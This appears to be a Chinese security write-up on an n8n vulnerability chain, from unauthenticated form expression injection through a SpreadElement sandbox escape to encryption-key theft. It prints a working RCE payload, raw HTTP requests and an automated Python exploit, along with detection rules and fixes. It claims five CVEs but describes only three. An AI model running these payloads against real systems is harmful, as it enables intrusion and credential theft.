一、前言:当23万组织的自动化中枢沦为攻击跳板

n8n 是一款开源的工作流自动化平台,采用节点式(Node-based)可视化编排模型,允许用户将各类 SaaS 服务、数据库、消息队列、AI 模型串联成自动化流水线。截至目前,n8n 已被 23 万+组织采用,Docker Hub 累计拉取量超过 1亿次,是低代码自动化赛道的核心基础设施之一。

然而,工作流自动化平台的本质决定了它必然是一个高价值攻击目标:为了编排跨系统的自动化任务,n8n 必须长期存储所有连接系统的凭证——AWS 密钥、数据库密码、OAuth 令牌、各类 SaaS API Key。这些凭证被统一加密存储在 n8n 的数据库中,由一个主加密密钥(N8N_ENCRYPTION_KEY / encryptionKey)保护。一旦攻击者突破 n8n 的边界并获取该主密钥,就等同于拿到了该组织整个自动化生态的"万能钥匙"。

Pillar Security 研究团队披露了一条由 五个 CVE 组成的"五连杀"漏洞链,该链从 n8n 设计上无需认证的公开表单端点切入,经由表达式引擎的双重求值缺陷与沙箱逃逸,最终实现未认证零点击 RCE,并可进一步读取加密密钥、解密全部存储凭证。这五个 CVE 已被 CISA 全部纳入 KEV(Known Exploited Vulnerabilities)目录,全球超过 12000 台未及时升级的 n8n 服务器被实际入侵。

本文将从 n8n 表达式引擎的架构出发,逐层剖析这条攻击链的每一个技术环节,包括双重求值机制、SpreadElement AST 绕过原理、任意文件读取到权限提升的衔接,并给出完整的 PoC 代码、检测规则与修复方案。


二、n8n表达式引擎架构深度剖析

要理解这条攻击链,必须先理解 n8n 表达式引擎的内部构造。n8n 允许用户在节点配置中使用 ={{ }} 语法嵌入动态表达式,这些表达式在运行时被求值,用于实现数据在节点间的动态流转。这个表达式引擎既是 n8n 灵活性的来源,也是整条攻击链的核心攻击面。

2.1 表达式引擎整体架构

flowchart TB subgraph Input["用户输入层"] U1["表单提交数据<br/>POST /form/*"] U2["节点配置中的表达式<br/>={{ $input.first().json.Name }}"] end subgraph FormNode["Form Node 处理层"] F1["getNodeParameter()<br/>Pass 1: 解析配置表达式"] F2["prepareFormFields()<br/>getResolvables() 扫描 {{ }} 模式"] F3["evaluateExpression()<br/>Pass 2: 二次求值"] end subgraph Sandbox["表达式沙箱层"] S1["表达式预处理"] S2["@n8n/tournament 编译器<br/>AST 解析与重写"] S3["VariablePolyfill Transformer<br/>危险标识符重写"] S4["VM 执行环境<br/>受限全局对象"] end subgraph Runtime["Node.js 运行时"] R1["process / require / Buffer<br/>(应被沙箱隔离)"] R2["child_process<br/>(RCE 终点)"] end U1 --> F1 U2 --> F1 F1 -->|"HTML 字段求值<br/>注入用户输入"| F2 F2 -->|"发现 {{ }} 模式"| F3 F3 --> S1 S1 --> S2 S2 --> S3 S3 --> S4 S4 -->|"正常路径"| R1 S4 -.->|"沙箱逃逸<br/>SpreadElement 绕过"| R2 style F3 fill:#f96,stroke:#333,stroke-width:2px style S3 fill:#f9f,stroke:#333,stroke-width:2px style R2 fill:#f66,stroke:#333,stroke-width:2px

2.2 表达式求值的两个阶段

n8n 的表达式求值并非单次完成。在 Form Node 的场景中,存在一个致命的双重求值(Double Evaluation)设计:

Pass 1 —— 配置解析阶段:Form Node 在渲染表单时,会通过 getNodeParameter() 读取节点的配置项。如果配置中包含 ={{ }} 表达式(例如 HTML 字段配置为 ={{ $input.first().json["Name"] }}),引擎会将其求值,把用户之前提交的 Name 字段值直接拼接进 HTML 字符串。这一步的语义是"把用户数据渲染到表单 HTML 中"。

Pass 2 —— 表单字段准备阶段prepareFormFields() 函数在处理渲染后的 HTML 时,会调用 getResolvables() 扫描其中的 {{ }} 模式。任何被识别为"可解析"(resolvable)的模式,都会被传入 evaluateExpression() 进行第二次求值。这一步的设计本意是处理配置中嵌套的动态表达式,但由于 Pass 1 已经将用户输入注入了 HTML,攻击者可以通过在表单字段中提交包含 {{ }} 的内容,使自己的 payload 在 Pass 2 被引擎当作合法表达式执行。

2.3 @n8n/tournament 编译器与 VariablePolyfill Transformer

无论 Pass 1 还是 Pass 2,表达式的实际执行都要经过 n8n 的表达式沙箱。该沙箱的核心是 @n8n/tournament 编译器,它负责将用户表达式编译为可执行代码。沙箱的关键防御机制是 VariablePolyfill Transformer——一个 AST(抽象语法树)层面的标识符重写器。

其工作原理如下:

  1. AST 解析@n8n/tournament 将表达式字符串解析为 JavaScript AST。
  2. 遍历与重写:VariablePolyfill Transformer 遍历 AST,对每一个 Identifier(标识符)节点进行检查。
  3. 危险标识符拦截:当遇到 processrequiremoduleBuffer 等危险全局标识符时,Transformer 会将其重写为一个安全的 polyfill 包装,或在 blocked 列表中直接拦截。
  4. AST 父节点类型检查:Transformer 维护了一个包含 130+ 种 AST 节点类型的检查列表,用于判断标识符出现的上下文是否安全。

这套机制在 n8n v2.4.0 时经历过一轮重大加固——当时修复了 9 个安全问题,那些修复主要落在运行时 sanitizer 层,即在表达式求值前后对结果进行消毒。然而,CVE-2026-27577 的 SpreadElement 绕过发生在编译阶段的 AST 重写层,完全绕过了运行时 sanitizer。这正是该漏洞与之前修复的本质区别,也是其危害等级极高的原因。


三、CVE-2026-27493:Form Node双重求值表达式注入

3.1 攻击面:无需认证的公开表单端点

n8n 的 Form Node 提供了一种"无代码表单"能力——用户无需编写任何前端代码,即可通过 n8n 创建可接收外部提交的 Web 表单。这些表单通过 /form/* 路径对外暴露。

https://target-n8n-instance.com/form/contact-us

该端点在设计上明确不需要认证。任何人都可以向该端点提交 POST 请求。据 Pillar Security 统计,全球有超过 50000 个 n8n 表单端点暴露在公网上,可通过简单的网络空间测绘(如 FOFA、Shodan)定位。

这种"无认证"设计本身是合理的——表单本就是给外部用户填写的。问题出在表单提交后的数据处理流程中,用户输入未经充分净化就被送入了表达式引擎。

3.2 双重求值的致命逻辑

以下是 Form Node 处理一次表单提交的简化伪代码,标注了两次求值发生的位置:

// === Form Node 表单处理流程(简化伪代码)===

async function handleFormSubmission(req, formData) {
    // 从节点配置中读取 HTML 模板
    // 假设配置为: html = '={{ $input.first().json["Name"] }}'
    let htmlConfig = node.getParameter('html');

    // [Pass 1] getNodeParameter 解析配置中的表达式
    // 这里 $input.first().json["Name"] 会取到用户刚刚提交的 Name 字段值
    let renderedHtml = await evaluateExpression(htmlConfig, {
        $input: { first: () => ({ json: { Name: formData.Name } }) }
    });

    // 此时 renderedHtml 中已经包含了用户提交的 Name 值
    // 如果用户提交 Name = '{{ EVIL_PAYLOAD }}'
    // 则 renderedHtml = '{{ EVIL_PAYLOAD }}'

    // [Pass 2] prepareFormFields 扫描渲染后的 HTML
    let fields = prepareFormFields(renderedHtml);
    return fields;
}

function prepareFormFields(html) {
    // getResolvables 扫描 html 中的所有 {{ }} 模式
    let resolvables = getResolvables(html);
    // resolvables = ['{{ EVIL_PAYLOAD }}']

    let result = html;
    for (const r of resolvables) {
        // 对每一个匹配到的模式,调用 evaluateExpression 再次求值!
        let inner = r.match(/{{\s*(.+?)\s*}}/)[1]; // 提取 {{ }} 内部内容
        let evaluated = evaluateExpression(inner);  // <-- 第二次求值
        result = result.replace(r, evaluated);
    }
    return result;
}

关键问题在于 prepareFormFields 中的循环:它对渲染后的 HTML 再次执行 getResolvables() + evaluateExpression()。如果攻击者在表单字段中提交的内容恰好包含 {{ }} 模式,这些内容在 Pass 1 被原样注入 HTML 后,会在 Pass 2 被引擎识别为合法表达式并执行。

3.3 注入路径验证

假设 n8n 实例中存在一个 Form Node,其 HTML 字段配置为引用用户输入:

={{ $input.first().json["Name"] }}

攻击者在 Name 字段提交:

{{ 7*7 }}

执行流程:

  1. Pass 1={{ $input.first().json["Name"] }} 求值为 {{ 7*7 }}(用户输入被注入 HTML)。
  2. Pass 2getResolvables() 扫描到 {{ 7*7 }},提取内部 7*7evaluateExpression('7*7') 求值为 49

最终返回结果为 49,证明注入成功。攻击者只需将 7*7 替换为任意恶意表达式,即可实现代码执行。这就是一个未认证、零点击的 RCE 前置条件——攻击者只需向公开表单端点发送一个 POST 请求。


四、CVE-2026-27577:SpreadElement沙箱逃逸

CVE-2026-27493 提供了注入入口,但表达式引擎仍有沙箱保护——processrequire 等危险标识符会被 VariablePolyfill Transformer 拦截。CVE-2026-27577 正是击穿了这层沙箱防御。

4.1 VariablePolyfill Transformer 的防御逻辑

VariablePolyfill Transformer 的核心是一个对 AST Identifier 节点的遍历器,配合一个 switch-case 结构判断标识符出现的上下文。其简化逻辑如下:

// @n8n/tournament VariablePolyfill Transformer 简化伪代码

const BLOCKED_IDENTIFIERS = ['process', 'require', 'module', 'Buffer', /* ... */];
const SAFE_PARENT_NODE_TYPES = [
    // 130+ 种 AST 节点类型
    'MemberExpression',       // process.env -> MemberExpression
    'CallExpression',         // require('x') -> CallExpression
    'NewExpression',
    'AssignmentExpression',
    'VariableDeclarator',
    'BinaryExpression',
    'LogicalExpression',
    'ConditionalExpression',
    'ArrayExpression',
    'ObjectExpression',
    'Property',
    'SpreadElement',          // 注:原版代码中实际缺失此 case!
    // ... 共 130+ 种
];

function visitIdentifier(path) {
    const { node, parent } = path;

    // 检查标识符名是否在危险列表中
    if (!BLOCKED_IDENTIFIERS.includes(node.name)) {
        return; // 非危险标识符,放行
    }

    // 检查父节点类型,决定是否需要重写
    switch (parent.type) {
        case 'MemberExpression':
            rewriteToPolyfill(path);  // process -> __n8n_polyfill_process
            break;
        case 'CallExpression':
            rewriteToPolyfill(path);  // require('x') -> __n8n_polyfill_require
            break;
        case 'VariableDeclarator':
            rewriteToPolyfill(path);
            break;
        // ... 130+ 个 case
        // case 'SpreadElement':  <-- 这个 case 不存在!
        //     rewriteToPolyfill(path);
        //     break;
        default:
            // fall through:不执行任何重写,标识符原样保留
            break;
    }
}

4.2 SpreadElement AST 绕过原理

在 JavaScript 语法中,SpreadElement(展开元素)是 ... 语法的 AST 节点表示,用于将可迭代对象展开到数组或对象中:

const obj = { ...process };  // process 出现在 SpreadElement 的 argument 位置
// 对应 AST:
// ObjectExpression
//   └── Property
//        └── SpreadElement
//             └── Identifier (name: "process")

当 VariablePolyfill Transformer 遍历到 process 这个 Identifier 节点时,它会检查其父节点。此时父节点是 SpreadElement。由于 Transformer 的 switch-case 中没有 SpreadElement 这个 case(它不在检查列表中),代码执行落入 default 分支,不执行任何重写操作

这意味着 process 标识符被原样保留在编译后的代码中,沙箱的标识符拦截机制被完全绕过。

以下是 AST 结构的对比分析:

=== 安全路径:MemberExpression ===
表达式: process.env
AST:
  MemberExpression (object=Identifier(process), property=Identifier(env))
  -> 父节点类型: MemberExpression
  -> 命中 switch case 'MemberExpression'
  -> 执行重写: process -> __n8n_polyfill_process (安全)
  -> 结果: __n8n_polyfill_process.env

=== 绕过路径:SpreadElement ===
表达式: {...process}
AST:
  ObjectExpression
    └── SpreadElement
         └── Identifier (name: "process")
  -> 父节点类型: SpreadElement
  -> switch 中无 'SpreadElement' case
  -> 落入 default 分支
  -> 不执行重写: process 原样保留 (危险!)
  -> 结果: {...process}  (process 仍是真实的 Node.js 全局对象)

4.3 完整 Payload 解析

利用 SpreadElement 绕过,攻击者可以构造如下 payload:

={{
  ((g) =>
    g
      .getBuiltinModule('child_process')
      .execSync('id')
      .toString()
  )({...process})
}}

逐层拆解这个 payload 的执行逻辑:

  1. {...process}:利用 SpreadElement 将 process 对象展开。由于 AST 绕过,process 未被重写,保持为真实的 Node.js process 全局对象。展开后的对象携带了 process 的所有可枚举属性及原型链引用。

  2. (g) => ...:定义一个箭头函数,参数 g 接收上一步展开后的对象。这个对象由于继承自 process,可以通过原型链或属性访问获取到内部模块加载能力。

  3. g.getBuiltinModule('child_process'):通过 process 对象上的 getBuiltinModule 方法(或等价的内部 API)加载 Node.js 内置的 child_process 模块。这一步直接获取了系统命令执行能力。

  4. .execSync('id'):同步执行系统命令 id

  5. .toString():将命令输出转换为字符串,以便在表达式求值结果中返回。

这个 payload 之所以能成功,关键在于 {...process} 中的 process 标识符在 AST 重写阶段未被拦截,从而在 VM 执行阶段仍然是真实的、未被 polyfill 包装的全局对象。攻击者通过它作为跳板,获取了 child_process 模块的引用,完成了从"受限沙箱表达式"到"任意系统命令执行"的跨越。

4.4 与 v2.4.0 安全修复的本质区别

n8n 在 v2.4.0 版本曾修复过 9 个表达式引擎安全问题。理解这批修复与 SpreadElement 绕过的区别,对于防御者至关重要:

维度 v2.4.0 的 9 个修复 CVE-2026-27577 SpreadElement 绕过
防御层位置 运行时 sanitizer 层 编译阶段 AST 重写层
作用机制 在表达式求值前后对输入输出做正则过滤/结果消毒 在 AST 遍历时对危险标识符做重写
绕过方式 寻找 sanitizer 正则的边界条件(如编码、嵌套) 利用 AST 节点类型检查列表的遗漏
影响范围 单个表达式的结果被过滤 标识符本身未被拦截,整个沙箱形同虚设
修复难度 补充正则规则即可 需要重构 AST 遍历逻辑,确保全节点类型覆盖

v2.4.0 的修复本质上是在"城墙上加高了一截",但 SpreadElement 绕过是从城墙的地基(AST 编译层)找到了一个缺口。只要标识符重写阶段存在遗漏的节点类型,运行时 sanitizer 再严密也无济于事——因为到了运行时,process 已经是真实的全局对象了。


五、CVE-2026-21858:从任意文件读取到Admin认证伪造

在通过 CVE-2026-27493 + CVE-2026-27577 实现 RCE 后,攻击者已能在 n8n 服务器上以 node 用户身份执行命令。但攻击链并未止步于此——CVE-2026-21858 提供了一条更隐蔽的横向扩展路径:通过任意文件读取获取 n8n 的加密主密钥,进而伪造管理员认证令牌,完成对整个 n8n 实例的接管。

5.1 加密密钥的存储与作用

n8n 使用一个主加密密钥(encryptionKey)来加密存储在数据库中的所有凭证。该密钥的来源优先级如下:

  1. 环境变量 N8N_ENCRYPTION_KEY
  2. n8n 配置文件(通常位于 ~/.n8n/config
  3. 首次启动时自动生成并写入配置文件

所有通过 n8n 界面配置的第三方凭证(AWS Access Key、数据库密码、OAuth Token、API Key 等)在存入数据库前,都会用这个主密钥进行 AES-256 加密。这意味着获取主密钥 = 解密全部存储凭证

5.2 文件读取到认证伪造的路径

通过 RCE 读取环境变量或配置文件后,攻击者获得 encryptionKey,随后可执行以下提权路径:

  1. 读取 N8N_ENCRYPTION_KEY:通过 process.env.N8N_ENCRYPTION_KEY 或读取配置文件获取主密钥。

  2. 伪造 n8n-auth JWT Token:n8n 使用 JWT 进行会话认证,JWT 的签名密钥正是 encryptionKey(或由其派生)。攻击者用获取的密钥签发一个 role: "admin" 的 JWT,即可认证为管理员。

  3. 创建恶意工作流:以 admin 身份登录后,创建一个包含 Execute Command 节点的工作流。该节点允许在工作流执行过程中运行任意 shell 命令。

  4. 持久化与横向移动:通过 Execute Command 节点,攻击者可以植入持久化后门、读取数据库中加密的凭证(用主密钥解密)、或以 n8n 服务器为跳板攻击内网其他系统。

这条路径使得攻击者从"单次 RCE"升级为"长期稳定的实例接管",且整个过程可通过 n8n 的正常 API 完成,隐蔽性极高。


六、完整5步攻击链:从表单提交到凭证解密

将上述三个 CVE 串联,就构成了一条从公开表单端点到全量凭证解密的完整攻击链。以下是 5 个步骤的完整时序图与详细说明。

6.1 攻击链时序图

sequenceDiagram participant A as 攻击者 participant F as n8n Form Node<br/>/form/contact-us participant P1 as Pass 1<br/>getNodeParameter() participant P2 as Pass 2<br/>prepareFormFields() participant S as 表达式沙箱<br/>@n8n/tournament participant R as Node.js 运行时 participant DB as n8n 数据库<br/>(加密凭证) Note over A,DB: Step 1: 访问公开表单端点(无需认证) A->>F: POST /form/contact-us Note right of F: 端点设计上无需认证<br/>任何人可提交 Note over A,DB: Step 2: 提交含 SpreadElement 绕过的 RCE Payload A->>F: Name={{ PAYLOAD }}&Email=test@test.com Note right of A: PAYLOAD = ((g) => g.getBuiltinModule<br/>('child_process').execSync('id').toString())({...process}) Note over A,DB: Step 3: 双重求值触发 Payload 执行 F->>P1: 读取 HTML 配置 ={{ $input.first().json["Name"] }} P1->>P1: Pass 1 求值:将用户 Name 注入 HTML Note right of P1: renderedHtml 现包含 {{ PAYLOAD }} P1->>P2: 传递渲染后的 HTML P2->>P2: getResolvables() 扫描到 {{ PAYLOAD }} P2->>S: evaluateExpression(PAYLOAD) Note over S: @n8n/tournament 编译表达式 S->>S: AST 解析:{...process} Note right of S: SpreadElement 节点<br/>switch 无对应 case<br/>process 未被重写! S->>R: VM 执行编译后代码 R->>R: {...process} 获取真实 process 对象 R->>R: getBuiltinModule('child_process') R->>R: execSync('id') R-->>F: uid=1000(node) gid=1000(node) Note over A,DB: Step 4: 读取 N8N_ENCRYPTION_KEY A->>F: GET /form-waiting/<executionId> F-->>A: 返回命令执行结果 A->>R: 修改 Payload 读取环境变量 Note right of A: execSync('printenv N8N_ENCRYPTION_KEY') R-->>A: 返回 encryptionKey 明文 Note over A,DB: Step 5: 解密数据库中所有存储凭证 A->>A: 用 encryptionKey 解密数据库凭证 A->>DB: 读取 credential_entity 表(加密数据) DB-->>A: 返回加密的凭证记录 A->>A: AES-256 解密 → AWS密钥/数据库密码/OAuth令牌 Note over A,DB: 攻击完成:RCE + 全量凭证泄露

6.2 完整 PoC 代码

以下是完整的攻击 PoC,包含 HTTP 请求、Payload 构造与结果获取:

# === Step 1-3: 提交 RCE Payload 到公开表单端点 ===

POST /form/contact-us HTTP/1.1
Host: target-n8n-instance.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 287

Name={{ ((g) => g.getBuiltinModule('child_process').execSync('id').toString())({...process}) }}&Email=test@test.com
# === 获取执行结果 ===

GET /form-waiting/<executionId> HTTP/1.1
Host: target-n8n-instance.com

# 响应中包含命令执行结果:
# uid=1000(node) gid=1000(node) groups=1000(node)

以下是使用 Python 实现的完整自动化 PoC 脚本:

#!/usr/bin/env python3
"""
n8n Form Node 双重求值 RCE PoC
CVE-2026-27493 + CVE-2026-27577 组合利用
仅用于授权安全测试,禁止非法使用
"""

import requests
import re
import sys

def exploit_rce(base_url, form_path, command):
    """
    通过公开表单端点触发 RCE
    :param base_url: n8n 实例地址
    :param form_path: 表单路径,如 /form/contact-us
    :param command: 要执行的命令
    """
    target_url = f"{base_url.rstrip('/')}{form_path}"

    # 构造 SpreadElement 沙箱逃逸 Payload
    # 利用 {...process} 绕过 VariablePolyfill Transformer 的标识符重写
    payload = (
        "{{ ((g) => g.getBuiltinModule('child_process')"
        f".execSync('{command}').toString())({{...process}}) }}"
    )

    # 表单字段提交
    form_data = {
        "Name": payload,
        "Email": "test@test.com"
    }

    print(f"[*] 目标: {target_url}")
    print(f"[*] 命令: {command}")
    print(f"[*] Payload: {payload[:80]}...")

    # Step 1-2: 提交 Payload
    response = requests.post(target_url, data=form_data, allow_redirects=False)

    if response.status_code in (301, 302, 303):
        # 跟随重定向到 form-waiting 页面获取执行结果
        redirect_url = response.headers.get("Location", "")
        if redirect_url.startswith("/"):
            redirect_url = base_url.rstrip("/") + redirect_url

        print(f"[*] 重定向至: {redirect_url}")

        # Step 3: 获取执行结果
        result_response = requests.get(redirect_url)
        result_text = result_response.text

        # 从响应中提取命令执行输出
        # n8n 将表达式求值结果渲染在 form-waiting 页面中
        match = re.search(r"uid=\d+\([\w]+\).*?gid=\d+\([\w]+\)", result_text)
        if match:
            print(f"[+] RCE 成功! 命令输出: {match.group(0)}")
            return match.group(0)
        else:
            print(f"[?] 响应内容 (前500字符): {result_text[:500]}")
            return result_text
    else:
        print(f"[-] 异常状态码: {response.status_code}")
        print(f"[-] 响应: {response.text[:300]}")
        return None


def read_encryption_key(base_url, form_path):
    """
    Step 4: 读取 N8N_ENCRYPTION_KEY 环境变量
    """
    print("\n[*] Step 4: 读取加密主密钥...")
    result = exploit_rce(base_url, form_path, "printenv N8N_ENCRYPTION_KEY")
    if result:
        print(f"[+] 加密密钥: {result.strip()}")
    return result


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <base_url> <form_path> [command]")
        print(f"示例: {sys.argv[0]} https://n8n.example.com /form/contact-us id")
        sys.exit(1)

    base_url = sys.argv[1]
    form_path = sys.argv[2]
    command = sys.argv[3] if len(sys.argv) > 3 else "id"

    exploit_rce(base_url, form_path, command)

6.3 攻击链各步骤技术要点

步骤 对应 CVE 技术动作 关键绕过点 认证要求
Step 1 CVE-2026-27493 访问 /form/* 公开端点 无需绕过,端点设计上无认证
Step 2 CVE-2026-27493 在 Name 字段提交 {{ }} Payload Pass 1 将用户输入注入 HTML
Step 3 CVE-2026-27493 + 27577 Pass 2 对 Payload 求值执行 SpreadElement AST 绕过沙箱标识符重写
Step 4 CVE-2026-21858 读取 N8N_ENCRYPTION_KEY RCE 已实现,直接读取环境变量 无(已 RCE)
Step 5 CVE-2026-21858 解密数据库凭证 用主密钥 AES-256 解密 credential 表 无(已 RCE)

整条攻击链的可怕之处在于:Step 1 到 Step 3 完全无需认证,攻击者只需向公开表单发送一个 HTTP POST 请求,即可获得服务器上的代码执行权限。Step 4-5 则是 RCE 后的自然延伸,将危害从"服务器沦陷"扩展到"组织全部自动化凭证泄露"。


七、沙箱逃逸技术对比

CVE-2026-27577 并非 n8n 表达式沙箱首次被绕过。为了更全面地理解 n8n 沙箱的攻防演进,下表对比了历史上几种典型的沙箱逃逸技术:

技术维度 Template Literal 绕过 Object.defineProperty 绕过 SpreadElement 绕过 (CVE-2026-27577)
出现时间 n8n 早期版本 v2.4.0 修复前后 当前漏洞
绕过层级 运行时 sanitizer 层 运行时 sanitizer 层 编译阶段 AST 重写层
核心原理 利用模板字符串 `${process}` 绕过基于正则的标识符检测 通过 Object.defineProperty 劫持对象属性,间接获取 process 引用 利用 {...process} 使 process 出现在 SpreadElement 节点,AST 检查遗漏
AST 节点类型 TemplateLiteral CallExpression (Object.defineProperty) SpreadElement
被拦截方式 v2.4.0 sanitizer 新增模板字符串检测 v2.4.0 sanitizer 新增 defineProperty 调用检测 需在 AST 重写层新增 SpreadElement case
绕过难度 低(正则边界条件易找) 中(需理解原型链与属性劫持) 高(需理解 AST 遍历器的 case 覆盖盲区)
修复方式 补充正则规则 补充正则规则 重构 AST 遍历逻辑 + 添加 blocked identifier
根因 sanitizer 正则不完整 sanitizer 正则不完整 AST 节点类型检查列表不完整
启示 运行时过滤始终存在绕过空间 运行时过滤始终存在绕过空间 必须从编译阶段彻底封堵标识符访问

从这张对比表可以看出一个清晰的趋势:n8n 表达式沙箱的攻防焦点正在从运行时 sanitizer 层编译阶段 AST 重写层下移。每一次运行时补丁都是在补漏洞,而真正彻底的防御必须在编译阶段确保所有 AST 节点类型的全覆盖。SpreadElement 绕过之所以危害极大,正是因为它跳过了之前所有运行时补丁的防御,直接从编译层打开缺口。


八、检测规则

针对这条攻击链,以下从网络流量、日志审计和主机行为三个维度给出检测规则。

8.1 Suricata 网络流量检测规则

# 检测 n8n Form Node 表单提交中的 SpreadElement RCE Payload
# 针对 CVE-2026-27493 + CVE-2026-27577 组合利用

alert http any any -> any any (
    msg:"n8n Form Node SpreadElement RCE Attempt CVE-2026-27493";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/form/"; startswith;
    http.request_body; content:"getBuiltinModule";
    http.request_body; content:"child_process";
    http.request_body; content:"...process";
    distance:0;
    reference:cve,2026-27493;
    reference:cve,2026-27577;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

# 检测更通用的 n8n 表达式注入特征
alert http any any -> any any (
    msg:"n8n Expression Injection in Form Submission";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/form/"; startswith;
    http.request_body; content:"execSync";
    http.request_body; content:"{{"; distance:0;
    http.request_body; content:"}}"; distance:0;
    classtype:attempted-admin;
    sid:1000002;
    rev:1;
)

8.2 Sigma 日志检测规则

title: n8n Form Node 表达式注入与沙箱逃逸检测
id: 7a3f2c8e-1234-5678-9abc-def012345678
status: experimental
description: >
    检测针对 n8n Form Node 的双重求值表达式注入攻击(CVE-2026-27493)
    及 SpreadElement 沙箱逃逸(CVE-2026-27577)
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27493
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27577
author: Security Team
date: 2026/07/24
logsource:
    product: n8n
    service: application
detection:
    selection_form_post:
        http.method: POST
        http.uri|startswith: /form/
    selection_payload_markers:
        - getBuiltinModule
        - child_process
        - execSync
        - '...process'
        - SpreadElement
    condition: selection_form_post and 1 of selection_payload_markers
falsepositives:
    - 合法的表达式测试(极罕见,需人工确认)
level: critical
tags:
    - attack.initial_access
    - attack.execution
    - attack.t1190
    - cve.2026-27493
    - cve.2026-27577

8.3 主机行为检测(日志关键词)

在 n8n 服务器的系统日志和应用日志中,可监控以下异常行为特征:

# 检测 n8n 进程派生子进程(正常情况下 n8n 不应频繁 spawn shell)
# 适用于 auditd / syslog 检测

# auditd 规则:监控 n8n (node) 进程的 execve 系统调用
auditctl -a always,exit -F arch=b64 -S execve \
    -F uid=1000 -k n8n_rce_suspicious

# 以下日志关键词组合出现时应当告警:
# 1. n8n 日志中出现 "evaluateExpression" + "child_process"
# 2. n8n 日志中出现 "form-waiting" + 异常 executionId
# 3. 系统日志中 node 进程派生 /bin/sh 或 /bin/bash
# 4. 网络日志中对 /form/* 端点的 POST 请求体超过 200 字节
#    (正常表单提交通常较短,含 payload 的请求体明显更大)

8.4 检测策略建议

检测维度 检测点 告警阈值 误报率
网络流量 POST /form/* 请求体含 execSync / child_process 出现即告警 极低
网络流量 POST /form/* 请求体含 ...process 出现即告警 极低
应用日志 n8n 日志中 evaluateExpression 伴随 getBuiltinModule 出现即告警
主机行为 node 进程派生 shell 子进程 出现即告警 中(需排除合法 Execute Command 节点)
数据库 credential_entity 表异常批量读取 单次读取 > 10 条告警

九、修复方案与加固建议

9.1 官方修复方案

n8n 官方已在以下版本中修复全部漏洞,务必立即升级

CVE 修复版本 修复内容
CVE-2026-27493 n8n 2.10.1 / 2.9.3 / 1.123.22 删除第二次表达式求值 pass,prepareFormFields 不再调用 evaluateExpression
CVE-2026-27577 n8n 2.10.1 / 2.9.3 / 1.123.22 process/require/module/Buffer 添加到 blocked identifier list,强化 AST 感知标识符分析,确保全节点类型覆盖
CVE-2026-21858 n8n 2.10.1 / 2.9.3 / 1.123.22 修复任意文件读取漏洞,限制配置文件访问路径

CVE-2026-27493 修复原理

修复前的 prepareFormFields 会对渲染后的 HTML 执行第二次 evaluateExpression。修复方案直接移除了第二次求值 pass

// === 修复前(存在漏洞)===
function prepareFormFields(html) {
    let resolvables = getResolvables(html);
    for (const r of resolvables) {
        let inner = r.match(/{{\s*(.+?)\s*}}/)[1];
        let evaluated = evaluateExpression(inner);  // <-- 危险!第二次求值
        html = html.replace(r, evaluated);
    }
    return html;
}

// === 修复后 ===
function prepareFormFields(html) {
    // 不再对渲染后的 HTML 执行二次求值
    // getResolvables 仅用于识别静态配置中的表达式占位符
    // 用户输入注入的内容不会被当作表达式执行
    return html;
}

通过移除第二次求值,攻击者在表单字段中提交的 {{ }} 内容不再被引擎执行,从根本上消除了注入路径。

CVE-2026-27577 修复原理

修复方案从两个层面强化了 AST 标识符分析:

  1. 添加 blocked identifier list:将 processrequiremoduleBuffer 等危险标识符加入全局拦截列表,无论出现在哪种 AST 节点类型下,都直接拦截。
  2. 强化 AST 感知标识符分析:重构 VariablePolyfill Transformer 的遍历逻辑,确保对所有 AST 节点类型(包括 SpreadElement)进行覆盖性检查,消除 fall-through 到 default 的盲区。
// === 修复后:全局 blocked list + 全节点类型覆盖 ===

const BLOCKED_IDENTIFIERS = new Set([
    'process', 'require', 'module', 'Buffer',
    'global', 'globalThis', 'constructor', '__proto__'
]);

function visitIdentifier(path) {
    const { node, parent } = path;

    // 修复点1:全局 blocked list,不依赖父节点类型判断
    if (BLOCKED_IDENTIFIERS.has(node.name)) {
        // 无论父节点是什么类型,一律拦截
        throw new SecurityError(
            `Blocked identifier "${node.name}" detected`
        );
    }

    // 修复点2:全节点类型覆盖的安全上下文检查
    // 不再使用 switch-case + default fall-through
    // 改用 allowlist 模式:只有明确安全的父节点类型才放行
    const SAFE_CONTEXTS = new Set([
        'MemberExpression', 'CallExpression', /* ... 全量列举 ... */
        'SpreadElement',  // 现在已覆盖
    ]);

    if (isDangerousInContext(node, parent) && !SAFE_CONTEXTS.has(parent.type)) {
        throw new SecurityError(
            `Unsafe identifier context: ${parent.type}`
        );
    }
}

9.2 纵深防御加固建议

仅升级版本不足以应对未来可能出现的新漏洞,建议从以下维度构建纵深防御:

1. 网络层隔离

  • 将 n8n 的 /form/* 端点通过反向代理(Nginx/Cloudflare)进行 WAF 防护,拦截请求体中包含 {{ }}execSyncchild_process...process 等特征的请求。
  • 对公网暴露的 n8n 实例启用 IP 白名单或 mTLS 认证,限制表单端点的访问来源。
  • 定期使用网络空间测绘工具(FOFA/Shodan)排查组织资产中暴露的 n8n 实例。

2. 凭证安全加固

  • 使用外部密钥管理系统(如 HashiCorp Vault、AWS Secrets Manager)替代 n8n 内置的凭证存储,降低主密钥泄露后的影响面。
  • 如果必须使用 n8n 内置凭证存储,确保 N8N_ENCRYPTION_KEY 通过环境变量注入(而非配置文件),并配合操作系统级的 secrets 管理(如 Docker Secrets、Kubernetes Secrets)。
  • 对存储的凭证实施最小权限原则——AWS Key 仅授予工作流所需的最小 IAM 权限,数据库账号仅授予所需表的读写权限。

3. 运行时加固

  • 以非特权用户运行 n8n 进程(如 node 用户),配合 AppArmor/SELinux 限制 n8n 进程的系统调用权限。
  • 在容器化部署中启用只读根文件系统(readonlyRootFilesystem: true),限制 n8n 容器的文件写入能力。
  • 部署 Falco 或 Tracee 等 eBPF 运行时安全工具,监控 n8n 容器内的异常进程派生行为。

4. 沙箱架构反思

  • n8n 表达式沙箱基于 @n8n/tournament 的 AST 重写方案,本质上是一种"黑名单"防御——列出危险标识符并拦截。这种方案的固有缺陷是:只要遗漏一个节点类型或一个标识符,就会被绕过。
